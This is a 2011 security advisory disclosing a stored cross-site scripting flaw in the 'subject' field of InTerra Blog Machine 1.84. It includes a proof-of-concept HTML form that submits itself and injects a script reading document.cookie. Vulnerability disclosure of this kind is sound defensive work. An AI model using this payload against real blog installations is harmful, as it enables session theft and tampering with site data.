HTB22931: XSS vulnerability in InTerra Blog Machine

[advisory () htbridge ch]

Vulnerability ID: HTB22931
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_interra_blog_machine.html
Product: InTerra Blog Machine
Vendor: InTerra Blog Machine Team ( http://code.google.com/p/interra/ ) 
Vulnerable Version: 1.84 and probably prior versions
Vendor Notification: 31 March 2011 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "actions/add.php" script to properly sanitize user-supplied input in 
"subject" variable. Successful exploitation of this vulnerability could result in a compromise of the application, 
theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://host/POST_URL/edit/"; method="post" name="main" enctype="multipart/form-data">
<!-- POST_URL like "2011/03/31/post_url" -->
<input type="hidden" name="subject" value='post title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="content" value='content'>
<input type="hidden" name="date[Date_Day]" value="31">
<input type="hidden" name="date[Date_Month]" value="03">
<input type="hidden" name="date[Date_Year]" value="2011">
<input type="hidden" name="time[Time_Hour]" value="13">
<input type="hidden" name="time[Time_Minute]" value="59">
<input type="hidden" name="comments" value="1">
<input type="hidden" name="section" value="0">
<input type="hidden" name="sectionNewName" value="">
<input type="hidden" name="sectionNewUnix" value="">
<input type="hidden" name="sectionNewHidden" value="0">
<input type="hidden" name="replicate" value="1">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="edit" value="POST_ID">
</form>
<script>
document.main.submit();
</script>